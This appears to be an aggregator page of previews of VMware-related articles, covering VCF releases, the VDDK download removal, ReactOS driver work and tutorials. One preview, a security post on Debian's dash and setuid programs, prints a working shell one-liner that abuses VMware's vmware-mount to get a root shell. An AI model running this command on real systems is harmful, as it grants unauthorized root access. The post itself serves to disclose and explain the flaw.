# vmware Published articles for vmware. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## First VMmark 4.1 Power-Performance and VMware Cloud Foundation 9.1 Results DevFeed: [First VMmark 4.1 Power-Performance and VMware Cloud Foundation 9.1 Results]() Original publisher: [Read original article]() Author: vmwareblogs Published: 2026-09-16T18:20:25Z Content type: release Language: en Sources: [VMware Blogs]() Topics: [vcf 9.1](), [benchmarking](), [Benchmark](), [virtualization](), [Hardware]() Tags: [benchmarking](), [benchmarks](), [cloud-infrastructure](), [dell](), [efficiency](), [home-page](), [performance](), [vcf-9-1](), [vmmark](), [vmware](), [vmware-cloud-foundation](), [vsphere](), [vsphere-9-1]() ### AI overview VMware reports Dell Technologies benchmark results using VMware Cloud Foundation 9.1 and VMmark 4.1. The article describes VMmark 4.1's power-performance measurement and reports higher performance and tile count for VCF 9.1 than VCF 5.2 in the tested environment. ### Source excerpt We're excited to announce two new VMmark results today from Dell Technologies: First VCF 9.1 Benchmarks: These are the first results using VMware Cloud Foundation (VCF) 9.1. VCF 9.1 maximizes hardware efficiency using a Next-Gen Topology-Aware CPU Scheduler that optimizes memory and cache locality for intensive enterprise workloads. A separate VCF 9.1 evaluation demonstrated a ... Continued The post First VMmark 4.1 Power-Performance and VMware Cloud Foundation 9.1 Results appeared first on VMware Blogs. ## VMware defends ending downloads of SDK that helps VM backups - or migrations to rivals DevFeed: [VMware defends ending downloads of SDK that helps VM backups - or migrations to rivals]() Original publisher: [Read original article]() Author: Simon Sharwood Published: 2026-09-10T02:05:58Z Content type: news Language: en Sources: [www.theregister.com - Articles]() Topics: [SDKs]() Tags: [dev](), [migration](), [software-license](), [virtualization](), [vmware]() ### AI overview The article reports that VMware is defending its decision to end downloads of an SDK used for virtual-machine backups and potentially migrations to rival platforms. VMware says the license was never intended to support moving VMs. ### Source excerpt Says license was never about moving VMs ## VCF Breakroom Chats Episode 94: Supercharging VKS Networking with Tigera DevFeed: [VCF Breakroom Chats Episode 94: Supercharging VKS Networking with Tigera]() Original publisher: [Read original article]() Author: anika suri Published: 2026-09-08T20:45:36Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [Kubernetes](), [networking](), [Security](), [DevOps]() Tags: [blog-post](), [breakroom-chats](), [devops](), [ecosystem](), [kubernetes](), [networking](), [partners](), [security](), [vmware]() ### AI overview This episode of VCF Breakroom Chats discusses Kubernetes networking and security in production with Abhishek Rao from Tigera, the company behind Project Calico. It also highlights partnership resources and is aimed at IT practitioners, platform professionals, developers, DevOps professionals, and AI/ML professionals. ### Source excerpt In this episode of VCF Breakroom Chats, Anika Suri sits down with Abhishek Rao from Tigera, the company behind Project Calico, to discuss a critical aspect of running Kubernetes in production: networking and security. Want to learn more about this partnership? Check out the Kubernetes Ecosystem Partners page for more resources. Read this blog post. About ... Continued The post VCF Breakroom Chats Episode 94: Supercharging VKS Networking with Tigera appeared first on VMware Blogs. ## AI-Ready Private Cloud with Cisco and VMware DevFeed: [AI-Ready Private Cloud with Cisco and VMware]() Original publisher: [Read original article]() Author: sabina anja Published: 2026-09-08T15:33:39Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [Artificial Intelligence](), [Network](), [Cloud](), [networking](), [cloud-infrastructure](), [distributed-training](), [datacenter](), [GPU](), [Latency](), [Inference](), [model-deployment](), [inference-endpoints]() Tags: [ai](), [cisco](), [cloud](), [cloud-infrastructure](), [cloud-platform](), [data-center](), [distributed-training](), [fabric](), [gpu](), [home-page](), [inference](), [inference-endpoints](), [latency](), [networking](), [object-storage](), [pipelines](), [private-cloud](), [telemetry](), [vcf-9-1](), [vcf-networking](), [vmware](), [vmware-cloud-foundation]() ### AI overview This article explains why an AI-ready private cloud requires more than adding GPUs. It focuses on how Broadcom and Cisco are integrating VMware Cloud Foundation with Cisco Nexus One Fabric to address AI workload networking, including bandwidth-intensive east-west traffic, bursty north-south traffic, latency, congestion management, and telemetry across virtual and physical infrastructure. ### Source excerpt An AI-ready private cloud is not simply a private cloud with GPUs added to it. What determines whether a private cloud platform can actually serve AI workloads effectively is everything built around them: how the fabric carries traffic, how the tenancy model lets teams consume capacity, and how policy and telemetry stay coherent across the ... Continued The post AI-Ready Private Cloud with Cisco and VMware appeared first on VMware Blogs. ## See How Organizations Achieved 137% ROI with VMware Cloud Foundation 9 DevFeed: [See How Organizations Achieved 137% ROI with VMware Cloud Foundation 9]() Original publisher: [Read original article]() Author: vmwareblogs Published: 2026-09-08T15:00:00Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [Cloud](), [Provisioning](), [systems](), [Security]() Tags: [cloud](), [cloud-infrastructure](), [compliance](), [cost](), [efficiency](), [financial](), [home-page](), [infrastructure](), [legacy](), [private-cloud](), [provisioning](), [survey](), [vcf-9-0](), [vcf-9-1](), [vmware](), [vmware-cloud-foundation](), [webinar]() ### AI overview The article presents a commissioned Forrester Consulting Total Economic Impact study of VMware Cloud Foundation 9. Based on interviews with eight customers and a survey of 55 customers over a modeled three-year period, it describes projected financial and operational benefits for large enterprises running VCF 9 in production, including lower infrastructure costs, reduced operational effort, less downtime, faster delivery, tool consolidation, and improved security and compliance. The title reports 137% ROI. ### Source excerpt Enterprises running private cloud face a common question: what does the investment actually deliver? To answer it, we commissioned Forrester Consulting to conduct an independent New Technology Total Economic Impact (TEI) study on VMware Cloud Foundation 9 (VCF 9). Forrester interviewed decision-makers at organizations running VCF 9 and surveyed additional customers to develop a composite ... Continued The post See How Organizations Achieved 137% ROI with VMware Cloud Foundation 9 appeared first on VMware Blogs. ## Leaving VMware Just Got Harder After Broadcom Pulled VDDK Downloads DevFeed: [Leaving VMware Just Got Harder After Broadcom Pulled VDDK Downloads]() Original publisher: [Read original article]() Author: Brandon Lee Published: 2026-09-07T12:07:37Z Content type: news Language: en Sources: [Virtualization Howto]() Topics: [virtualization](), [migration](), [Azure](), [SDKs](), [Microsoft]() Tags: [azure](), [developer](), [home-lab](), [home-server](), [microsoft](), [migration](), [proxmox](), [tool](), [virtualization](), [vmware]() ### AI overview Broadcom has removed public download access to VMware's Virtual Disk Development Kit (VDDK), creating a potential obstacle for customers migrating away from VMware. The library is used by migration tools including Microsoft Azure Migrate, Red Hat's Migration Toolkit, Nutanix Move, VMware-to-KVM products, virt-v2v, and nbdkit. The article notes that affected links return errors and that no formal transition notice, deprecation announcement, or replacement has been identified. ### Source excerpt Just when we thought that Broadcom wouldn't be able to slow down customers moving off of vSphere to another platform. They may just now have done something that will have... The post Leaving VMware Just Got Harder After Broadcom Pulled VDDK Downloads appeared first on Virtualization Howto. ## VMware Explore 2026: Broadcom Doubles Down on Private Cloud Economics and Agentic AI DevFeed: [VMware Explore 2026: Broadcom Doubles Down on Private Cloud Economics and Agentic AI]() Original publisher: [Read original article]() Author: Tom Fenton Published: 2026-09-05T17:10:28Z Content type: news Language: en Sources: [StorageReview.com]() Topics: [Cloud](), [Artificial Intelligence](), [cloud-infrastructure](), [Security](), [configuration](), [Hardware]() Tags: [2026](), [agentic-ai](), [ai](), [configuration](), [enterprise](), [hardware](), [infrastructure](), [news](), [private-cloud](), [security](), [vmware]() ### AI overview This StorageReview news article covers VMware Explore 2026 and Broadcom's focus on private cloud economics and agentic AI. It discusses infrastructure cost pressures, workload repatriation, decoupled compute, storage and networking layers, the VCF AI Assistant, configuration-drift detection, and ESXi live patching without virtual-machine downtime. ### Source excerpt VMware Explore kicked off Monday morning, though the schedule felt unusual compared to past VMworld Explore events, as Broadcom moved the traditional opening keynote to the afternoon. That was not necessarily a bad thing, as it gave us time to catch a few breakout sessions and catch up with vendors on the show floor. In The post VMware Explore 2026: Broadcom Doubles Down on Private Cloud Economics and Agentic AI appeared first on StorageReview.com. ## Get to VMware Cloud Foundation Faster with VMware Pro Cloud Services DevFeed: [Get to VMware Cloud Foundation Faster with VMware Pro Cloud Services]() Original publisher: [Read original article]() Author: paula swanson Published: 2026-09-03T20:21:10Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [Cloud]() Tags: [architectures](), [best-practices](), [cloud](), [cloud-infrastructure](), [cloud-services](), [infrastructure](), [modernization](), [private-cloud](), [vcf-professional-services](), [vmware](), [vmware-cloud-foundation]() ### AI overview The article presents VMware Pro Cloud Services as a way to deploy VMware Cloud Foundation faster and deliver a public-cloud experience on premises. It describes pre-packaged services for designing, deploying, configuring, integrating, and operationalizing a secure private cloud, using VMware reference architectures and practices developed through customer engagements. ### Source excerpt Public clouds have upped the ante when it comes to what we expect from private cloud solutions. Our smartphones and fast access to public cloud resources have conditioned us to expect instant access to what we need when we need it. Anything less feels antiquated and cumbersome, leaving your business users frustrated and disenchanted. To ... Continued The post Get to VMware Cloud Foundation Faster with VMware Pro Cloud Services appeared first on VMware Blogs. ## VMware Explore 2026 in Las Vegas | Day 4 Recap DevFeed: [VMware Explore 2026 in Las Vegas | Day 4 Recap]() Original publisher: [Read original article]() Author: ashley woodbury Published: 2026-09-03T19:00:00Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [Artificial Intelligence](), [vcf 9.1](), [cloud-infrastructure](), [releases]() Tags: [2026](), [announcements](), [company](), [event](), [explore](), [explore-2026-in-las-vegas](), [news](), [recap](), [vcf-9-1](), [video-library](), [vmware](), [vmware-cloud-foundation](), [vmware-explore-2026-in-las-vegas]() ### AI overview A recap of VMware Explore 2026 in Las Vegas, covering learning sessions, hands-on labs, expert speakers, certifications, product releases, and VMware Private AI with VMware Cloud Foundation (VCF) 9.1. The event attracted more than 4,700 attendees across sessions focused on cloud infrastructure, app modernization, security, and innovation. ### Source excerpt VMware Explore 2026 in Las Vegas Day 4 Recap | September 3, 2026 Focused Learning. Immediate Impact. This past week was jam-packed with awesome sessions, Hands-on Labs, and expert speakers who showcased our latest product releases around the future of VMware Private AI with VMware Cloud Foundation (VCF) 9.1. Attendees got to learn from industry ... Continued The post VMware Explore 2026 in Las Vegas | Day 4 Recap appeared first on VMware Blogs. ## From Bottleneck to Breakthrough: Centralizing GitOps at Enterprise Scale with VCF 9.1.1 DevFeed: [From Bottleneck to Breakthrough: Centralizing GitOps at Enterprise Scale with VCF 9.1.1]() Original publisher: [Read original article]() Author: vmwareblogs Published: 2026-09-03T14:03:46Z Content type: article Language: en Sources: [VMware Blogs]() Topics: [GitOps](), [Platform Engineering](), [CI/CD](), [Automation](), [Cloud](), [Provisioning](), [Tooling]() Tags: [argo-cd](), [automation](), [cloud-infrastructure](), [cloud-native](), [continuous-delivery](), [deployment](), [gitops](), [home-page](), [platform](), [platform-engineering](), [provisioning](), [self-service](), [vcf-9-1](), [vcf-automation](), [vmware](), [vmware-cloud-foundation]() ### AI overview This VMware article announces VCF 9.1.1, which introduces a native GitOps service for VCF Automation Org users in Tech Preview. By integrating Argo CD, the update aims to centralize declarative application delivery, continuous delivery pipelines, and lifecycle management at enterprise scale, reducing manual work and operational friction for platform engineering teams. ### Source excerpt In today's fast-paced digital economy, where AI-driven innovation demands unprecedented agility, IT leaders are tasked with more than just provisioning infrastructure; they are expected to deliver a frictionless, self-service platform that accelerates software delivery. For platform engineers, cloud architects, and IT executives, the goal is to bridge the gap between robust infrastructure and modern application ... Continued The post From Bottleneck to Breakthrough: Centralizing GitOps at Enterprise Scale with VCF 9.1.1 appeared first on VMware Blogs. ## Announcing General Availability of VMware Cloud Foundation 9.1.1 DevFeed: [Announcing General Availability of VMware Cloud Foundation 9.1.1]() Original publisher: [Read original article]() Author: vmwareblogs Published: 2026-09-03T13:47:18Z Content type: release Language: en Sources: [VMware Blogs]() Topics: [Cloud](), [Security](), [AI Platform](), [AI Models](), [MLOps]() Tags: [ai](), [ai-ml](), [ai-models](), [announce](), [apis](), [cloud](), [cloud-infrastructure](), [complexity](), [cost](), [cpu](), [data-privacy](), [evpn](), [governance](), [home-page](), [integrations](), [kubernetes](), [memory](), [nsx](), [private-ai-services](), [release](), [root-cause-analysis](), [security](), [troubleshooting](), [vcf-9-1](), [vcf-operations](), [vmware](), [vmware-cloud-foundation]() ### AI overview VMware announces the general availability of VMware Cloud Foundation 9.1.1. The release adds tougher security, vSAN Object Storage as a tech preview, multi-tenant AI model sharing with tenant-isolated access controls, and an AI Assistant for diagnostics, management-pack creation, and troubleshooting across infrastructure and Kubernetes clusters. ### Source excerpt Coming on the heels of a very successful VMware Explore in Vegas and the VMware Cloud Foundation (VCF) 9.1 launch in May, we're excited to announce the general availability of VCF 9.1.1. This release builds on VCF 9.1 with tougher security, vSAN Object Storage (tech preview, previously announced) and new capabilities designed to make your ... Continued The post Announcing General Availability of VMware Cloud Foundation 9.1.1 appeared first on VMware Blogs. ## 5 most overlooked but critical considerations in container platform selection DevFeed: [5 most overlooked but critical considerations in container platform selection]() Original publisher: [Read original article]() Author: Pankaj Gupta Published: 2026-07-23T05:40:01Z Content type: article Language: en Sources: [Platform Engineering Blog]() Topics: [Containers](), [Kubernetes](), [Cloud Native Ecosystem](), [Scalability](), [Security]() Tags: [cloud](), [containers](), [infrastructure](), [kubernetes](), [operations](), [performance](), [platforms](), [scalability](), [security](), [strategy](), [vks](), [vmware](), [vmware-cloud-foundation]() ### AI overview The article identifies five often-overlooked factors in container platform selection. It emphasizes rapid access to new CNCF-conformant Kubernetes versions, long standard support periods, the ability to run multiple Kubernetes versions on one host, and treating VMs and containers as first-class citizens. It presents VMware Cloud Foundation with vSphere Kubernetes Service as an example of a platform offering rapid Kubernetes access and a long support window. ### Source excerpt Choosing a container platform that's built for the future requires careful consideration. Learn more about critical factors such as long support lifecycles, multi-version flexibility, and first-class treatment for both VMs and containers. ## ClickHouse appoints new leader for Asia Pacific and expands global go-to-market leadership team DevFeed: [ClickHouse appoints new leader for Asia Pacific and expands global go-to-market leadership team]() Original publisher: [Read original article]() Author: ClickHouse Published: 2026-06-08T00:00:00Z Content type: news Language: en Sources: [ClickHouse Blog]() Topics: [clickhouse](), [Data Infrastructure](), [real-time](), [databricks](), [Amazon Web Services](), [amazon](), [Microsoft]() Tags: [2026](), [amazon](), [clickhouse](), [cloud](), [company](), [databricks](), [global](), [leadership](), [leadership-team](), [microsoft](), [revenue](), [vmware]() ### AI overview ClickHouse announced the appointment of Ed Lenta as Vice President for Asia Pacific and Japan and expanded its global go-to-market leadership team. Lenta will lead regional efforts to grow ClickHouse Cloud and the open-source database, while Takeshi Kaneko has joined as Country Manager of ClickHouse Japan. The appointments support ClickHouse's plans to scale its global organization and address increasing demand for real-time analytics and data infrastructure. ### Source excerpt ClickHouse, a leader in real-time analytics, data warehousing, observability, and AI/ML, today announced an expansion of its global go-to-market (GTM) leadership team, including the appointment of Ed Lenta as Vice President, Asia Pacific and Japan (APJ). ## Migrating from VMware to Proxmox VE at 3,000-Core Scale DevFeed: [Migrating from VMware to Proxmox VE at 3,000-Core Scale]() Original publisher: [Read original article]() Author: Shivam Anand Published: 2025-08-23T08:25:07Z Content type: article Language: en Sources: [Shivam Anand - DevOps & Cloud Engineering Blog]() Topics: [Proxmox](), [virtualization](), [migration](), [Automation](), [Command-line interface](), [ceph](), [NVMe]() Tags: [automation](), [ceph](), [cli](), [kvm](), [migration](), [nvme](), [proxmox](), [virtualization-cloud-infrastructure](), [vmware]() ### AI overview The article describes a three-month migration of 3,000 CPU cores, 8 TB of RAM, and production and archival storage from VMware to Proxmox VE. It explains the use of NFS, Ceph, and a custom CLI orchestrator to manage the resulting infrastructure. ### Source excerpt Discover how I migrated 3,000 cores, 8TB RAM from VMware to Proxmox VE, built a custom CLI orchestrator, and leveraged Ceph storage for seamless management. ## Spotlight on SIG Architecture: Code Organization DevFeed: [Spotlight on SIG Architecture: Code Organization]() Original publisher: [Read original article]() Author: The Kubernetes Authors Published: 2024-04-11T00:00:00Z Content type: article Language: en Sources: [Kubernetes Contributors Blog]() Topics: [Code](), [Kubernetes](), [Go Language](), [Dependency management](), [GitHub]() Tags: [architecture](), [code](), [cycles](), [dependencies](), [dependency-management](), [github](), [go](), [interview](), [kubernetes](), [series](), [technical](), [vmware]() ### AI overview An interview in the SIG Architecture Spotlight series examines Kubernetes code organization. It discusses the scale of the Kubernetes Go codebase, dependency management, publishing Go modules, and using a monorepo with downstream repositories. ### Source excerpt This is the third interview of a SIG Architecture Spotlight series that will cover the different subprojects. We will cover SIG Architecture: Code Organization . In this SIG Architecture spotlight I talked with Madhav Jivrajani (VMware), a member of the Code Organization subproject. Introducing the Code Organization subproject Frederico (FSM): Hello Madhav, thank you for your availability. Could you start by telling us a bit about yourself, your role and how you got involved in Kubernetes? Madhav Jivrajani (MJ): Hello! My name is Madhav Jivrajani, I serve as a technical lead for SIG Contributor Experience and a GitHub Admin for the Kubernetes project. Apart from that I also contribute to SIG API Machinery and SIG Etcd, but more recently, I've been helping out with the work that is needed to help Kubernetes stay on supported versions of Go , and it is through this that I am involved with the Code Organization subproject of SIG Architecture. FSM: A project the size of Kubernetes must have unique challenges in terms of code organization - is this a fair assumption? If so, what would you pick as some of the main challenges that are specific to Kubernetes? MJ: That's a fair assumption! The first interesting challenge comes from the sheer size of the Kubernetes codebase. We have ≅2.2 million lines of Go code (which is steadily decreasing thanks to dims and other folks in this sub-project!), and a little over 240 dependencies that we rely on either directly or indirectly, which is why having a sub-project dedicated to helping out with dependency management is crucial: we need to know what dependencies we're pulling in, what versions these dependencies are at, and tooling to help make sure we are managing these dependencies across different parts of the codebase in a consistent manner. Another interesting challenge with Kubernetes is that we publish a lot of Go modules as part of the Kubernetes release cycles, one example of this is client-go .However, we as a project would ## GSoC xHCI: Final Submission DevFeed: [GSoC xHCI: Final Submission]() Original publisher: [Read original article]() Published: 2017-08-25T00:00:00Z Content type: article Language: en Sources: [Front Page on ReactOS Website]() Topics: [USB](), [ReactOS](), [Development](), [Code](), [Windows]() Tags: [code](), [development](), [free](), [open-source](), [os](), [react](), [reactos](), [usb](), [vmware](), [win32](), [winapi]() ### AI overview A GSoC final submission describing the development of an xHCI USB host-controller driver compatible with ReactOS. It explains the development environment, code and build links, checkout and compilation commands, xHCI concepts, and the architecture's PCI, MMIO, and memory address spaces. ### Source excerpt Links: Link to my work: https://svn.reactos.org/svn/reactos/branches/GSoC_2017/usbxhci/reactos/drivers/usb/usbxhci/ Link to check out using svn: https://svn.reactos.org/reactos/branches/GSoC_2017/usbxhci/reactos/ All the commits log: https://svn.reactos.org/svn/reactos/branches/GSoC_2017/usbxhci/?view=log https://code.reactos.org/changelog/~br=GSoC_2017/reactos/branches/GSoC_2017/usbxhci?max=30&view=fe Introduction: My aim is to develop driver for xHCI which is compatible with ReactOS. For the development I've used Windows 2003 server edition running on Vmware Workstation. The first link points to the folder in which all main code and header files are present. To view any file, click on it and in the log; against any revision, click on view/download to see the code. ## SATA AHCI Driver GSoC - Update DevFeed: [SATA AHCI Driver GSoC - Update]() Original publisher: [Read original article]() Published: 2016-07-25T00:00:00Z Content type: article Language: en Sources: [Front Page on ReactOS Website]() Topics: [Windows](), [x86](), [Testing](), [Cache](), [Server]() Tags: [cache](), [driver](), [free](), [gsoc](), [open-source](), [os](), [queuing](), [react](), [reactos](), [testing](), [update](), [virtual](), [vmware](), [win32](), [winapi](), [windows](), [x86]() ### AI overview This update reports progress on a SATA AHCI driver tested in a VMware virtual machine running Windows Server 2003 x86. It describes supported device and read-request functionality, while noting limitations around filesystem detection and write requests. ### Source excerpt Links Short Brief Driver Testing Why no blog? Known Issues Short Brief Supported Features: Device Adapter Detection Non-Fatal Error Handling Adapter Srb PNP Request SCSIOP_INQUIRY : Device Inquiry SCSIOP_REPORT_LUNS : Report LUN SCSIOP_READ_CAPACITY : Device Geometry SCSIOP_TEST_UNIT_READY SCSIOP_READ : Device Read Request UnSupported Features: Fatal Error Handling SCSIOP_MODE_SENSE SCSIOP_WRITE NCQ : Native Command Queuing Cache and Priority Requests Driver Testing Platform: Virtual Machine (Vmware) Operating System: Windows Server 2003 x86 Free Build ## ReactOS 0.4.1 Released DevFeed: [ReactOS 0.4.1 Released]() Original publisher: [Read original article]() Published: 2016-05-17T00:00:00Z Content type: release Language: en Sources: [Front Page on ReactOS Website]() Topics: [ReactOS](), [releases](), [version](), [btrfs](), [Oracle-VM-VirtualBox](), [virtual machines]() Tags: [btrfs](), [free](), [new-features](), [open-source](), [os](), [react](), [reactos](), [release](), [usability](), [usb](), [version](), [virtual](), [virtual-machines](), [virtualbox](), [vmware](), [win32](), [winapi]() ### AI overview The ReactOS team announced version 0.4.1, released three months after version 0.4.0. The release refines the previous version and adds or improves activation context handling, BTRFS support, shell usability, USB stability, virtual machine shared folders, and drive support. ### Source excerpt The ReactOS team is proud to announce the release of version 0.4.1 a mere three months after the release of 0.4.0. The team has long desired an increased release tempo and the hope is that this will be the first of many of faster iterations. Due to the brief period of time between the two releases, 0.4.1 is ultimately a refinement of what was in 0.4.0. That is not to say that there are no new features of course, and a few highlights of both categories are listed below. ## View Popups and Unreliable Operations DevFeed: [View Popups and Unreliable Operations]() Original publisher: [Read original article]() Published: 2014-10-11T00:00:00Z Content type: article Language: en Sources: [Front Page on ReactOS Website]() Topics: [ReactOS](), [opensource](), [Windows]() Tags: [audio](), [bugs](), [crash](), [desktop](), [free](), [open-source](), [opensource](), [os](), [react](), [reactos](), [vmware](), [win32](), [winapi](), [windows]() ### AI overview A weekly ReactOS development update describes reviewing older bugs, including an unreproduced issue involving the VMware audio driver, stobject.dll, Explorer, and the desktop taskbar. ### Source excerpt Hello! It's this time of the week again where I have to sit down and try to remember everything I have been doing over the week. I began the week by looking at some older pending bugs. First, I looked at an issue where using the branch with the vmware audio driver installed would crash stobject.dll and because it's loaded into explorer-new, the rest of the desktop and taskbar. I couldn't reproduce this issue, so I moved on. ## Running Go Programs In IronWorker DevFeed: [Running Go Programs In IronWorker]() Original publisher: [Read original article]() Published: 2013-09-07T00:00:00Z Content type: tutorial Language: en Sources: [William Kennedy]() Topics: [Go Language](), [container](), [Linux](), [Ubuntu]() Tags: [ardan-labs](), [binaries](), [blog](), [build](), [code](), [container](), [files](), [go](), [go-programming](), [golang](), [linux](), [mac](), [production](), [programming](), [run](), [shell-script](), [testing](), [ubuntu](), [vmware](), [windows]() ### AI overview This tutorial explains how to run Go programs in IronWorker, a task-oriented Linux container from Iron.io. It describes loading binaries and supporting files, executing a shell script or binary, and handling Linux build requirements when developing on Windows or Mac. It also presents Ubuntu virtual machines as an option for building, testing, and staging binaries. ### Source excerpt Introduction Iron.io has a product called IronWorker which provides a task oriented Linux container that you can run your programs inside. If you are not sure what I mean, think of this as having a temporary Linux virtual machine instantly available for your personal but short term use. IronWorker allows you to load your binaries, code files, support files, shells scripts and just about anything else you may need to run your program in the container. You specify a single task to execute, such as running a shell script or a binary and IronWorker will perform that task when requested. Once the task is complete, IronWorker will tear down the container as if it never existed. If you are developing in Windows or on the Mac and plan to load and run pre-built binaries in IronWorker, they must be built for Linux. If that could be a problem don't despair, you have options. You can create an Ubuntu VM so you can build the Linux binaries you need. This is what I do. I don't develop in my Ubuntu VM, I use it as a testing and staging area. Your second option is to build your program inside of the IronWorker container and then execute it. You have a lot of flexibility to do what you need with IronWorker. ## Security Debianisms DevFeed: [Security Debianisms]() Original publisher: [Read original article]() Author: taviso (noreply@blogger.com) Published: 2013-08-22T17:59:00Z Content type: article Language: en Sources: [Tavis Ormandy]() Topics: [Security](), [vulnerability](), [Bash](), [Debian](), [Ubuntu](), [Shell](), [Linux](), [chmod]() Tags: [bash](), [bug](), [chmod](), [debian](), [security](), [ubuntu](), [vmware](), [vulnerability]() ### AI overview The article examines how Debian-derived systems use dash instead of bash as /bin/sh, bypassing bash's privilege-dropping behavior. It describes how this can make setuid programs that call system() or popen() vulnerable, using VMware utilities as an example. ### Source excerpt On most modern Linux systems, /bin/sh is provided by bash, which detects that it's being invoked as sh, and attempts to mimic traditional sh. As everyone who works in security quickly learns, bash will drop privileges very early if uid != euid. 488 489 if (running_setuid && privileged_mode == 0) 490 disable_priv_mode (); 491 Where disable_priv_mode is defined as: 1202 void 1203 disable_priv_mode () 1204 { 1205 setuid (current_user.uid); 1206 setgid (current_user.gid); 1207 current_user.euid = current_user.uid; 1208 current_user.egid = current_user.gid; 1209 } Non-Linux systems tend to use pdksh as /bin/sh, which also supports privmode since version 5.0.5: 307 /* Turning off -p? */ 308 if (f == FPRIVILEGED && oldval && !newval) { 309 #ifdef OS2 310 ; 311 #else /* OS2 */ 312 setuid(ksheuid = getuid()); 313 setgid(getgid()); 314 #endif /* OS2 */ 315 } else if (f == FPOSIX && newval) { This is surprisingly effective at mitigating some common vulnerability classes and misconfigurations. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3) calls in setuid executables", see section 7 of the bash NOTES file. However, this never really happens on Debian derived systems. Debian (and therefore Ubuntu) will use dash by default (see https://wiki.debian.org/DashAsBinSh), or disable it with this patch if you choose to use bash: http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff A nice example of this failing can be observed in the VMware utilities, which try to invoke lsb_release with popen() to learn about the current execution environment. This means you can get a nice easy root shell like this on any Debian/Ubuntu derived system with VMware installed: $ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount # whoami root It looks like Debian originally decided they didn't want privmode because it broke UUCP (!?). http://bugs.debian.org/cgi-bin/bugreport.cgi? ## Configuring dnsmasq with VMware Workstation DevFeed: [Configuring dnsmasq with VMware Workstation]() Original publisher: [Read original article]() Author: Nelson Elhage Published: 2010-10-24T23:15:23Z Content type: tutorial Language: en Sources: [Nelson Elhage]() Topics: [networking](), [Network](), [Development](), [Server](), [ssh]() Tags: [development](), [dhcp](), [domain](), [install](), [linux](), [local](), [nat](), [network](), [networking](), [server](), [ssh](), [vmware](), [workstation]() ### AI overview A tutorial on configuring VMware Workstation virtual machines to use dnsmasq for DHCP address assignment and local DNS resolution, allowing VM hostnames to be accessed from the host over a local NAT network. ### Source excerpt I love VMware workstation. I keep VMs around for basically every version of every major Linux distribution, and use them heavily for all kinds of kernel testing and development. This post is a quick writeup of my networking setup with VMware Workstation, using dnsmasq to assign my VMs addresses and provide a DNS server to resolve VM addresses. The objective I want to be able to resolve my VM's hostnames so that I can ssh to them, or run other network services and access them from the host. ## Newsletter 21 DevFeed: [Newsletter 21]() Original publisher: [Read original article]() Published: 2007-04-02T00:00:00Z Content type: news Language: en Sources: [Front Page on ReactOS Website]() Topics: [ReactOS](), [Disk image](), [Kernel]() Tags: [compiler](), [free](), [news](), [open-source](), [os](), [project-news](), [react](), [reactos](), [storage](), [vmware](), [win32](), [winapi]() ### AI overview ReactOS Newsletter 21 reports project updates including a new storage stack based on NT4-DDK examples, SVN improvements, planned Google Code backups, contributor news, and work on native Structured Exception Handling support. ### Source excerpt Another newsletter I am glad I am able to bring you the latest news about ReactOS through this newsletter. It is the purpose of this newsletter to inform everyone of the recent work and notable highlights of this great project. It is my hope that you will find it useful and informative. (Insert license agreement indicating no particular usefulness, assorted legal wording and notices here... Just kidding!) Project News New storage stack based on NT4-DDK examples implemented in trunk, fixes booting on VmWare and several other nasty bugs.